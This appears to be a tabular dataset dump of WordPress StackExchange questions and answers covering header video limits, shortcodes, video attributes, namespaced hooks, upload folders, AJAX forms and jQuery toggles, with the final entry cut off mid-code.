qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
284,841
<p>I'm using a theme that supports WordPress's (relatively new) video header feature. I want to upload a video that's over 8MB big, and I don't want to reduce the size of the video. How can I force it to accept a larger video? Is there a file that I can edit or a plugin that I can download?</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate...
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284841", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119995/" ]
I'm using a theme that supports WordPress's (relatively new) video header feature. I want to upload a video that's over 8MB big, and I don't want to reduce the size of the video. How can I force it to accept a larger video? Is there a file that I can edit or a plugin that I can download?
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,853
<h1>What I want to achieve</h1> <p>The editor should be able to add galleries via the native wordpress way <strong>and choose between 3 different gallery types</strong>. These 3 types should all have their custom code-output, defined by me. I'd like to go a step further and give the editor <strong>only</strong> the gallery-type to choose from.</p> <p>I imagine the admin-area add-on really simple, like so: <a href="https://i.stack.imgur.com/de5U2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/de5U2.png" alt="enter image description here"></a></p> <p>Could somebody please walk me through the process of implementing this. Noteform is enough! Specifically:</p> <ol> <li>Giving the editor <strong>only</strong> a dropdown to choose the gallery-type</li> <li>Custom output for the different types.</li> </ol> <p>,</p> <p>Thank you!</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate...
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284853", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/102487/" ]
What I want to achieve ====================== The editor should be able to add galleries via the native wordpress way **and choose between 3 different gallery types**. These 3 types should all have their custom code-output, defined by me. I'd like to go a step further and give the editor **only** the gallery-type to choose from. I imagine the admin-area add-on really simple, like so: [![enter image description here](https://i.stack.imgur.com/de5U2.png)](https://i.stack.imgur.com/de5U2.png) Could somebody please walk me through the process of implementing this. Noteform is enough! Specifically: 1. Giving the editor **only** a dropdown to choose the gallery-type 2. Custom output for the different types. , Thank you!
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,854
<p>I have a list of competitions for which I set deadlines using Wordpress' built-in custom fields, in a YYYYMMDD format. I want to create a custom loop to display only the competitions that are now closed, meaning that their deadlines are older than today's date. </p> <p>I tried doing the following, but this displays all competitions, both open and closed: </p> <pre><code>$args = array( 'meta_query' =&gt; array( 'key' =&gt; 'deadline', 'value' =&gt; date( 'Ymd' ), 'compare' =&gt; '=&lt;', 'type' =&gt; 'DATE' ) ); $open_comps = new WP_Query( $args ); </code></pre> <p>Any ideas?</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate...
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284854", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129417/" ]
I have a list of competitions for which I set deadlines using Wordpress' built-in custom fields, in a YYYYMMDD format. I want to create a custom loop to display only the competitions that are now closed, meaning that their deadlines are older than today's date. I tried doing the following, but this displays all competitions, both open and closed: ``` $args = array( 'meta_query' => array( 'key' => 'deadline', 'value' => date( 'Ymd' ), 'compare' => '=<', 'type' => 'DATE' ) ); $open_comps = new WP_Query( $args ); ``` Any ideas?
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,859
<p>I have noticed that when i navigate to a product in my woocommerce site the URL is</p> <pre><code>https://mydomain.co.uk/product/procrastination-facebook-font-parody-graphic-quality-t-shirt-tee-mens-unisex/ </code></pre> <p>and for the category it is:</p> <pre><code>https://mydomain.co.uk/product-category/t-shirts/mensunisex-t-shirts/social-networking/ </code></pre> <p>How do i get rid of the /product and /product-category parts of the uRL</p> <p>Thanks</p>
[ { "answer_id": 284851, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>The limit is enforced by <a href=\"https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate...
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284859", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129316/" ]
I have noticed that when i navigate to a product in my woocommerce site the URL is ``` https://mydomain.co.uk/product/procrastination-facebook-font-parody-graphic-quality-t-shirt-tee-mens-unisex/ ``` and for the category it is: ``` https://mydomain.co.uk/product-category/t-shirts/mensunisex-t-shirts/social-networking/ ``` How do i get rid of the /product and /product-category parts of the uRL Thanks
The limit is enforced by [`_validate_header_video`](https://developer.wordpress.org/reference/classes/wp_customize_manager/_validate_header_video/) method, registered as validation callback on respective Customizer setting. There is a filter that allows you to hook into the process and manipulate those arguments: ``` add_filter( 'customize_dynamic_setting_args', function ( $args, $id ) { if ( 'header_video' === $id ) { // change $args['validate_callback'] } return $args; }, 10, 2 ); ```
284,877
<p>I decided to namespace my plugin, and I got it all to work, except in my main plugin file.</p> <p>I added two actions in that plugin, before calling the init method of the plugin.</p> <pre><code>&lt;?php namespace myPlugin; add_action( 'admin_init', 'add_activation_notice' ); function add_activation_notice() { add_action( 'admin_notices', 'activation_notice' ); } function activation_notice() { echo 'Notice!'; } </code></pre> <p>But this throws error</p> <blockquote> <p><strong>Uncaught Error</strong>: Undefined constant 'myPlugin\myPlugin\add_activation_notice' </p> </blockquote> <p>I'm rather new to namespacing, so I don't know why this happens.</p> <p>The two functions <code>add_activation_notice</code> and <code>activation_notice</code> are in the <code>myPlugin</code> namespace. Most of the code I found online reference methods inside classes, but I need these to be outside of a class so that I can have plugin activation notice.</p> <p>EDIT:</p> <p>When I try with </p> <pre><code>add_action( 'admin_init', \add_activation_notice() ); </code></pre> <p>I get</p> <blockquote> <p><strong>Fatal error</strong>: Uncaught Error: Call to undefined function add_activation_notice()</p> </blockquote>
[ { "answer_id": 284883, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 2, "selected": false, "text": "<p>The easiest way would be to enclose your code in curly brackets:</p>\n\n<pre><code>namespace m...
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284877", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/58895/" ]
I decided to namespace my plugin, and I got it all to work, except in my main plugin file. I added two actions in that plugin, before calling the init method of the plugin. ``` <?php namespace myPlugin; add_action( 'admin_init', 'add_activation_notice' ); function add_activation_notice() { add_action( 'admin_notices', 'activation_notice' ); } function activation_notice() { echo 'Notice!'; } ``` But this throws error > > **Uncaught Error**: Undefined constant 'myPlugin\myPlugin\add\_activation\_notice' > > > I'm rather new to namespacing, so I don't know why this happens. The two functions `add_activation_notice` and `activation_notice` are in the `myPlugin` namespace. Most of the code I found online reference methods inside classes, but I need these to be outside of a class so that I can have plugin activation notice. EDIT: When I try with ``` add_action( 'admin_init', \add_activation_notice() ); ``` I get > > **Fatal error**: Uncaught Error: Call to undefined function add\_activation\_notice() > > >
Before going too far down this path I would suggest that you familiarize yourself with [PHP name resolution rules](https://secure.php.net/manual/en/language.namespaces.rules.php). To answer your actual question - When you namespace functions, the fully qualified name of those functions includes the namespace. In your example, you have defined two functions: `\myPlugin\add_activation_notice` and `\myPlugin\activation_notice`. When calling either of these from within the `myPlugin` namespace, you can use the unqualified name (i.e. `activation_notice()`) but outside of the `myPlugin` namespace you have to follow the name resolution rules linked above. In the case of `add_action()` - while this is called from within your `myPlugin` namespace, you are not passing the actual function but rather the function name as a string. WordPress later attempts to call that function from the global namespace. The solution to your problem should be to include the `myPlugin` namespace in the function name passed to `add_action` (pay special attention to the escaped backslash): ``` add_action( 'admin_init', 'myPlugin\\add_activation_notice' ); add_action( 'admin_notice', 'myPlugin\\activation_notice' ); ``` My preferred method of doing this would be by concatenating the [`__NAMESPACE__` magic constant](https://secure.php.net/manual/en/language.constants.predefined.php) which simplifies things slightly if you should you ever decide to change your namespaces: ``` add_action( 'admin_init', __NAMESPACE__ . '\\add_activation_notice' ); add_action( 'admin_notice', __NAMESPACE__ . '\\activation_notice' ); ```
284,882
<p>I'm trying to add a 'muted' option to the video tag output with the content of a post using the built in wp video shortcode. I found this answer <a href="https://wordpress.stackexchange.com/questions/220572/how-can-i-get-the-video-shortcode-to-allow-query-string-parameters">How can I get the [video] shortcode to allow query string parameters?</a> which has led me to the add_filter but I'm really struggling how to use it? I thought the following code might work:</p> <pre><code>function my_video_shortcode( $output, $atts, $video, $post_id, $library ) { /** * @param string $output Video shortcode HTML output. * @param array $atts Array of video shortcode attributes. * @param string $video Video file. * @param int $post_id Post ID. * @param string $library Media library used for the video shortcode. */ $html_atts = array( 'class' =&gt; apply_filters( 'wp_video_shortcode_class', 'wp-video-shortcode' ), 'id' =&gt; sprintf( 'video-%d-%d', $post_id, $instance ), 'width' =&gt; absint( $atts['width'] ), 'height' =&gt; absint( $atts['height'] ), 'poster' =&gt; esc_url( $atts['poster'] ), 'loop' =&gt; wp_validate_boolean( $atts['loop'] ), 'autoplay' =&gt; wp_validate_boolean( $atts['autoplay'] ), 'preload' =&gt; $atts['preload'], 'muted' =&gt; 'muted', ); $attr_strings = array(); foreach ( $html_atts as $k =&gt; $v ) { $attr_strings[] = $k . '="' . esc_attr( $v ) . '"'; } $html = ''; if ( 'mediaelement' === $library &amp;&amp; 1 === $instance ) { $html .= "&lt;!--[if lt IE 9]&gt;&lt;script&gt;document.createElement('video');&lt;/script&gt;&lt;![endif]--&gt;\n"; } $html .= sprintf( '&lt;video %s controls="controls"&gt;', join( ' ', $attr_strings ) ); $fileurl = ''; $source = '&lt;source type="%s" src="%s" /&gt;'; foreach ( $default_types as $fallback ) { if ( ! empty( $atts[ $fallback ] ) ) { if ( empty( $fileurl ) ) { $fileurl = $atts[ $fallback ]; } if ( 'src' === $fallback &amp;&amp; $is_youtube ) { $type = array( 'type' =&gt; 'video/youtube' ); } elseif ( 'src' === $fallback &amp;&amp; $is_vimeo ) { $type = array( 'type' =&gt; 'video/vimeo' ); } else { $type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() ); } $url = add_query_arg( '_', $instance, $atts[ $fallback ] ); $html .= sprintf( $source, $type['type'], esc_url( $url ) ); } } if ( ! empty( $content ) ) { if ( false !== strpos( $content, "\n" ) ) { $content = str_replace( array( "\r\n", "\n", "\t" ), '', $content ); } $html .= trim( $content ); } if ( 'mediaelement' === $library ) { $html .= wp_mediaelement_fallback( $fileurl ); } $html .= '&lt;/video&gt;'; $width_rule = ''; if ( ! empty( $atts['width'] ) ) { $width_rule = sprintf( 'width: %dpx; ', $atts['width'] ); } $output = sprintf( '&lt;div style="%s" class="wp-video"&gt;%s&lt;/div&gt;', $width_rule, $html ); return $output; } add_filter('wp_video_shortcode', 'my_video_shortcode', 10, 2); </code></pre> <p>I get Undefined variable: for $video, $post_id and $library and the video's in the page are blank. It is because they don't have a video source but muted is there, though I realise not correctly. </p> <p>Here's one of the output in the page:</p> <pre><code>&lt;div style="width: 1306px; " class="wp-video"&gt; &lt;video class="wp-video-shortcode" id="video-0-0" width="1306" height="882" poster="" loop="" autoplay="" preload="metadata" muted="muted" controls="controls"&gt;&lt;/video&gt; </code></pre> <p></p> <p>I could write my own shortcode for video's but it's already almost there and built in, so it seems unnecessary to do it. </p> <p>I would love to add a check box to the media library options as well, but a nice to have.</p> <p>Any help much appreciated.</p>
[ { "answer_id": 284892, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<blockquote>\n <p>I get Undefined variable: for $video, $post_id and $library and the\n video's in the page are...
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284882", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/122525/" ]
I'm trying to add a 'muted' option to the video tag output with the content of a post using the built in wp video shortcode. I found this answer [How can I get the [video] shortcode to allow query string parameters?](https://wordpress.stackexchange.com/questions/220572/how-can-i-get-the-video-shortcode-to-allow-query-string-parameters) which has led me to the add\_filter but I'm really struggling how to use it? I thought the following code might work: ``` function my_video_shortcode( $output, $atts, $video, $post_id, $library ) { /** * @param string $output Video shortcode HTML output. * @param array $atts Array of video shortcode attributes. * @param string $video Video file. * @param int $post_id Post ID. * @param string $library Media library used for the video shortcode. */ $html_atts = array( 'class' => apply_filters( 'wp_video_shortcode_class', 'wp-video-shortcode' ), 'id' => sprintf( 'video-%d-%d', $post_id, $instance ), 'width' => absint( $atts['width'] ), 'height' => absint( $atts['height'] ), 'poster' => esc_url( $atts['poster'] ), 'loop' => wp_validate_boolean( $atts['loop'] ), 'autoplay' => wp_validate_boolean( $atts['autoplay'] ), 'preload' => $atts['preload'], 'muted' => 'muted', ); $attr_strings = array(); foreach ( $html_atts as $k => $v ) { $attr_strings[] = $k . '="' . esc_attr( $v ) . '"'; } $html = ''; if ( 'mediaelement' === $library && 1 === $instance ) { $html .= "<!--[if lt IE 9]><script>document.createElement('video');</script><![endif]-->\n"; } $html .= sprintf( '<video %s controls="controls">', join( ' ', $attr_strings ) ); $fileurl = ''; $source = '<source type="%s" src="%s" />'; foreach ( $default_types as $fallback ) { if ( ! empty( $atts[ $fallback ] ) ) { if ( empty( $fileurl ) ) { $fileurl = $atts[ $fallback ]; } if ( 'src' === $fallback && $is_youtube ) { $type = array( 'type' => 'video/youtube' ); } elseif ( 'src' === $fallback && $is_vimeo ) { $type = array( 'type' => 'video/vimeo' ); } else { $type = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() ); } $url = add_query_arg( '_', $instance, $atts[ $fallback ] ); $html .= sprintf( $source, $type['type'], esc_url( $url ) ); } } if ( ! empty( $content ) ) { if ( false !== strpos( $content, "\n" ) ) { $content = str_replace( array( "\r\n", "\n", "\t" ), '', $content ); } $html .= trim( $content ); } if ( 'mediaelement' === $library ) { $html .= wp_mediaelement_fallback( $fileurl ); } $html .= '</video>'; $width_rule = ''; if ( ! empty( $atts['width'] ) ) { $width_rule = sprintf( 'width: %dpx; ', $atts['width'] ); } $output = sprintf( '<div style="%s" class="wp-video">%s</div>', $width_rule, $html ); return $output; } add_filter('wp_video_shortcode', 'my_video_shortcode', 10, 2); ``` I get Undefined variable: for $video, $post\_id and $library and the video's in the page are blank. It is because they don't have a video source but muted is there, though I realise not correctly. Here's one of the output in the page: ``` <div style="width: 1306px; " class="wp-video"> <video class="wp-video-shortcode" id="video-0-0" width="1306" height="882" poster="" loop="" autoplay="" preload="metadata" muted="muted" controls="controls"></video> ``` I could write my own shortcode for video's but it's already almost there and built in, so it seems unnecessary to do it. I would love to add a check box to the media library options as well, but a nice to have. Any help much appreciated.
> > I get Undefined variable: for $video, $post\_id and $library and the > video's in the page are blank. > > > Replace: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 2 ); ``` with: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 5 ); ``` to access all five input arguments in your filter's callback. ps: `my_` is such a common prefix, that I would consider something more unique. pps: Here's another approach by overriding the shortcode: ``` add_shortcode( 'video', function ( $atts, $content ) { $output = wp_video_shortcode( $atts, $content ); if( ! isset( $atts['muted'] ) || ! wp_validate_boolean( $atts['muted'] ) ) return $output; if( false !== stripos( $output, ' muted="1"' ) ) return $output; return str_ireplace( '<video ', '<video muted="1" ', $output ); } ); ``` where the `muted` attribute is activated with: ``` [video muted="1" ... ] ``` Hope you can adjust it to your needs!
284,905
<p>Bonsoir, I want to pass shortcode attributes to my class in a form of an array and the name of my shorcode but in the wordpress codex doesn't says how could i do that, this is my code</p> <pre><code> $atributos=array('url' =&gt; ' ','text' =&gt; ' '); $shortcode_name="myshortcode"; class MyLittleClass { public static function exe_short( $atts, $atributos, $shortcode_name) { $_atts = shortcode_atts($atributos, $atts ); // Attributes turn to variables $url = $_atts['url']; $text = $_atts['text']; ob_start(); include(ABS_DIR . '/includes/dynamics/'.$shortcode_name.'/index.php'); $content = ob_get_clean(); return $content; } } add_shortcode( $shortcode_name, array( 'MyPlugin', 'exe_short'); </code></pre> <p>I know Im not passing the variables $atributos and $shortcode_name as an argumens for exeshort() in the function add_shortcode() but if i do this</p> <pre><code>add_shortcode( $shortcode_name, array( 'MyPlugin',exe_short($atts, $atributos, $shortcode_name)) </code></pre> <p>It doesnt work either, how could I pass those variables to my class function ?</p>
[ { "answer_id": 284892, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<blockquote>\n <p>I get Undefined variable: for $video, $post_id and $library and the\n video's in the page are...
2017/11/03
[ "https://wordpress.stackexchange.com/questions/284905", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130802/" ]
Bonsoir, I want to pass shortcode attributes to my class in a form of an array and the name of my shorcode but in the wordpress codex doesn't says how could i do that, this is my code ``` $atributos=array('url' => ' ','text' => ' '); $shortcode_name="myshortcode"; class MyLittleClass { public static function exe_short( $atts, $atributos, $shortcode_name) { $_atts = shortcode_atts($atributos, $atts ); // Attributes turn to variables $url = $_atts['url']; $text = $_atts['text']; ob_start(); include(ABS_DIR . '/includes/dynamics/'.$shortcode_name.'/index.php'); $content = ob_get_clean(); return $content; } } add_shortcode( $shortcode_name, array( 'MyPlugin', 'exe_short'); ``` I know Im not passing the variables $atributos and $shortcode\_name as an argumens for exeshort() in the function add\_shortcode() but if i do this ``` add_shortcode( $shortcode_name, array( 'MyPlugin',exe_short($atts, $atributos, $shortcode_name)) ``` It doesnt work either, how could I pass those variables to my class function ?
> > I get Undefined variable: for $video, $post\_id and $library and the > video's in the page are blank. > > > Replace: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 2 ); ``` with: ``` add_filter( 'wp_video_shortcode', 'my_video_shortcode', 10, 5 ); ``` to access all five input arguments in your filter's callback. ps: `my_` is such a common prefix, that I would consider something more unique. pps: Here's another approach by overriding the shortcode: ``` add_shortcode( 'video', function ( $atts, $content ) { $output = wp_video_shortcode( $atts, $content ); if( ! isset( $atts['muted'] ) || ! wp_validate_boolean( $atts['muted'] ) ) return $output; if( false !== stripos( $output, ' muted="1"' ) ) return $output; return str_ireplace( '<video ', '<video muted="1" ', $output ); } ); ``` where the `muted` attribute is activated with: ``` [video muted="1" ... ] ``` Hope you can adjust it to your needs!
284,960
<p>I'm brand new at theme development. My css stylesheet is not loading, and I'm not sure if the problem is in the functions.php, style.css, index.php, header.php, or footer.php file. I've added a div class "post-title" in index.php, which should change the font color of my posts, but right now it's not doing that. My code is below:</p> <p><strong>functions.php:</strong></p> <pre><code> &lt;?php function link_css_stylesheet() { wp_enqueue_style('style', get_stylesheet_uri()); } add_action('wp_enqueue_scripts', 'link_css_stylesheet'); ?&gt; </code></pre> <p><strong>style.css:</strong></p> <pre><code> /* Theme Name: Richard Theme Name Theme URI: http://www.intechio.com/themes/Richard-Theme Author: Richard Author URI: https://intechio.com Description: Theme project. Version: 1.0 */ .post-title { color : rgb(0,100,0); } </code></pre> <p><strong>index.php:</strong></p> <pre><code> &lt;?php get_header(); ?&gt; &lt;div class="post-title"&gt; &lt;?php if (have_posts()) : while (have_posts()) : the_post(); the_title(); the_excerpt(); endwhile; else: echo "No posts."; endif; ?&gt; &lt;/div&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p><strong>header.php:</strong></p> <pre><code> &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset=”&lt;?php bloginfo(‘charset’); ?&gt; &lt;title&gt;&lt;?php wp_title(); ?&gt; | &lt;?php bloginfo('name'); ?&gt;&lt;/title&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt;&gt; &lt;h1&gt;&lt;?php bloginfo(‘name’); ?&gt;&lt;/h1&gt; &lt;h2&gt;&lt;?php bloginfo(‘description’); ?&gt;&lt;/h2&gt; </code></pre> <p><strong>footer.php:</strong></p> <pre><code> &lt;p&gt;this is a footer&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Thank you in advance for any tips you might be able to offer.</p>
[ { "answer_id": 284972, "author": "Venkatesh", "author_id": 124538, "author_profile": "https://wordpress.stackexchange.com/users/124538", "pm_score": 2, "selected": false, "text": "<p>I have tried to create WordPress theme using your functions.php, style.css and index.php and for me, the ...
2017/11/04
[ "https://wordpress.stackexchange.com/questions/284960", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130864/" ]
I'm brand new at theme development. My css stylesheet is not loading, and I'm not sure if the problem is in the functions.php, style.css, index.php, header.php, or footer.php file. I've added a div class "post-title" in index.php, which should change the font color of my posts, but right now it's not doing that. My code is below: **functions.php:** ``` <?php function link_css_stylesheet() { wp_enqueue_style('style', get_stylesheet_uri()); } add_action('wp_enqueue_scripts', 'link_css_stylesheet'); ?> ``` **style.css:** ``` /* Theme Name: Richard Theme Name Theme URI: http://www.intechio.com/themes/Richard-Theme Author: Richard Author URI: https://intechio.com Description: Theme project. Version: 1.0 */ .post-title { color : rgb(0,100,0); } ``` **index.php:** ``` <?php get_header(); ?> <div class="post-title"> <?php if (have_posts()) : while (have_posts()) : the_post(); the_title(); the_excerpt(); endwhile; else: echo "No posts."; endif; ?> </div> <?php get_footer(); ?> ``` **header.php:** ``` <!DOCTYPE html> <html> <head> <meta charset=”<?php bloginfo(‘charset’); ?> <title><?php wp_title(); ?> | <?php bloginfo('name'); ?></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <h1><?php bloginfo(‘name’); ?></h1> <h2><?php bloginfo(‘description’); ?></h2> ``` **footer.php:** ``` <p>this is a footer</p> </body> </html> ``` Thank you in advance for any tips you might be able to offer.
I have tried to create WordPress theme using your functions.php, style.css and index.php and for me, the stylesheet is loading correctly. Please make sure you have added your header.php and footer.php for the theme. Please study some tutorials for theme development on WordPress.You can look at this link <https://codex.wordpress.org/Theme_Development> for detailed information.
284,961
<p>Prior to version 3.5 (or thereabouts), WP had a checkbox to select if all uploaded media went into sub-folders of /uploads, named by month and year. If checkbox was unchecked, all media ended up in one folder - no subfolders.</p> <p>How can I restore that feature? I.e., I want all my media to go into one folder and NOT be further divided into year and month. Is there some easy programmatic way to achieve that? Or is there some reliable plugin to do the job?</p> <p>Thanks!</p>
[ { "answer_id": 284970, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 3, "selected": true, "text": "<p>Pop this tiny code snippet into a file located here:<br>\n<code>wp-content/mu-plugins/upload-dir.php</code> (a...
2017/11/04
[ "https://wordpress.stackexchange.com/questions/284961", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130896/" ]
Prior to version 3.5 (or thereabouts), WP had a checkbox to select if all uploaded media went into sub-folders of /uploads, named by month and year. If checkbox was unchecked, all media ended up in one folder - no subfolders. How can I restore that feature? I.e., I want all my media to go into one folder and NOT be further divided into year and month. Is there some easy programmatic way to achieve that? Or is there some reliable plugin to do the job? Thanks!
Pop this tiny code snippet into a file located here: `wp-content/mu-plugins/upload-dir.php` (a [must use plugin](https://codex.wordpress.org/Must_Use_Plugins) file). *Create the `mu-plugins` directory if it does not exist already.* ``` <?php add_filter( 'pre_option_uploads_use_yearmonth_folders', '__return_zero'); ``` What you're doing here is filtering an option value at runtime, which is picked up internally by [`_wp_upload_dir()`](https://developer.wordpress.org/reference/functions/_wp_upload_dir/) and therefore uploads are no longer nested into date-based subdirectories.
284,975
<p>Is there a way to simply have a form in a page that the user can fill in and on submit continually populate a table directly underneath the the submit button.</p> <p>This information must also be saved/stored so that when the user comes back the previous posts are there</p> <p>Im not sure I know how to do what was explained.</p> <p>This is my form, works fine</p> <pre><code>&lt;form id="myForm" action="" method="post" target="_parent"&gt; &lt;p&gt;Date: &lt;input type="date" cf_name="Date" value="" maxlength="25" size="60"&gt; Weight: &lt;input type="text" cf_name="Weight" value="" maxlength="25" size="60"&gt; &lt;/p&gt; &lt;p&gt;Comments: &lt;input type="text" cf_name="comments" value="" maxlength="200" size="60"&gt; &lt;/p&gt; &lt;p&gt;Insert Picture (optional): &lt;input type="text" cf_name="pic1" value="" maxlength="200" size="60"&gt; &lt;/p&gt; &lt;p&gt; &lt;input id="submit" type="button" value="Submit" cf_name="submit"&gt; &lt;input type="button" cf_name="cancel" value="Cancel" onClick="closebox()"&gt; &lt;/p&gt; &lt;/form&gt; &lt;table id="details"&gt;&lt;/table&gt; </code></pre>
[ { "answer_id": 284977, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 1, "selected": false, "text": "<p>You can have an <strong>ajax</strong> action that sent the data to the <strong>backend</strong> populat...
2017/11/04
[ "https://wordpress.stackexchange.com/questions/284975", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130887/" ]
Is there a way to simply have a form in a page that the user can fill in and on submit continually populate a table directly underneath the the submit button. This information must also be saved/stored so that when the user comes back the previous posts are there Im not sure I know how to do what was explained. This is my form, works fine ``` <form id="myForm" action="" method="post" target="_parent"> <p>Date: <input type="date" cf_name="Date" value="" maxlength="25" size="60"> Weight: <input type="text" cf_name="Weight" value="" maxlength="25" size="60"> </p> <p>Comments: <input type="text" cf_name="comments" value="" maxlength="200" size="60"> </p> <p>Insert Picture (optional): <input type="text" cf_name="pic1" value="" maxlength="200" size="60"> </p> <p> <input id="submit" type="button" value="Submit" cf_name="submit"> <input type="button" cf_name="cancel" value="Cancel" onClick="closebox()"> </p> </form> <table id="details"></table> ```
You can have an **ajax** action that sent the data to the **backend** populate the table and return the success or the errors back. You can use this actions ``` add_action('wp_ajax_*', 'custom_table_insert'); add_action('wp_ajax_nopriv_*', 'custom_table_insert'); // anonymous users ``` This will give you more control and ultimately a far better user experience. // Ajax Request template ``` jQuery.ajax({ url : your_settings_object.ajax_url, type : 'post', data : { action : 'wp_ajax_*', table_content : table_content }, success : function( response ) { alert(response) } }); ``` Note: your\_settings\_object is a custom object that use to transfer global variables from backend to JS Also the table\_content is your variable to pass the data and you can take them from the PHP with `$_POST['table_content']`
284,997
<p>EDIT - This is solved thank you for your help after the suggestions below didn't solve the problem I refreshed my browser cashe and now my functions work... However I then realized they only work on the home page. creating a separate thread for that. Thank you for you help!!!</p> <p>the new thread is here <a href="https://wordpress.stackexchange.com/questions/285006/jquery-functions-only-work-on-homepage">jQuery functions only work on homepage</a></p> <p>I am trying to make an text-decoration:underline; on active function on a p span "spanish | english" in WordPress. I got it working here in this jsfiddle <a href="https://jsfiddle.net/TonyTheOnly/k92ayp24/" rel="nofollow noreferrer">https://jsfiddle.net/TonyTheOnly/k92ayp24/</a></p> <p>Same html and css as in the jsfiddle and here is the jQuery i am using for WP.</p> <pre><code> jQuery(document).ready(function () { "use strict"; jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); </code></pre> <p>Any Help is greatly appreciated and thank you for your time.</p> <p>EDIT</p> <p>here is my full functions</p> <pre><code>&lt;?php function paramo_script_enqueue() { wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/paramo.css', array(), '1.0.0', 'all'); wp_enqueue_script('customjs', get_template_directory_uri() . '/js/paramo.js', array('jquery'), '1.0.0', true); } add_action('wp_enqueue_scripts', 'paramo_script_enqueue'); function paramo_theme_setup() { add_theme_support('menus'); register_nav_menu('primary', 'Primary Header Navigation'); register_nav_menu('secondary', 'Footer Navigation'); } add_action('init', 'paramo_theme_setup'); add_theme_support('custom-header'); function enqueue_our_required_stylesheets(){ wp_enqueue_style('font-awesome', get_stylesheet_directory_uri() . '/css/font-awesome.css'); } add_action('wp_enqueue_scripts','enqueue_our_required_stylesheets'); </code></pre> <p>Full.js file</p> <pre><code>/*global $, jQuery, alert*/ jQuery.noConflict(); jQuery(document).ready(function () { "use strict"; jQuery(".burger-nav").on("click", function () { jQuery("nav ul").toggleClass("open"); }); jQuery(".spanish").on("click", function () { jQuery(".englishNav").hide(); jQuery(".spanishNav").show(); }); jQuery(".english").on("click", function () { jQuery(".englishNav").show(); jQuery(".spanishNav").hide(); }); jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); </code></pre> <p>full header</p> <pre><code>&lt;!doctype html&gt; &lt;html&gt; 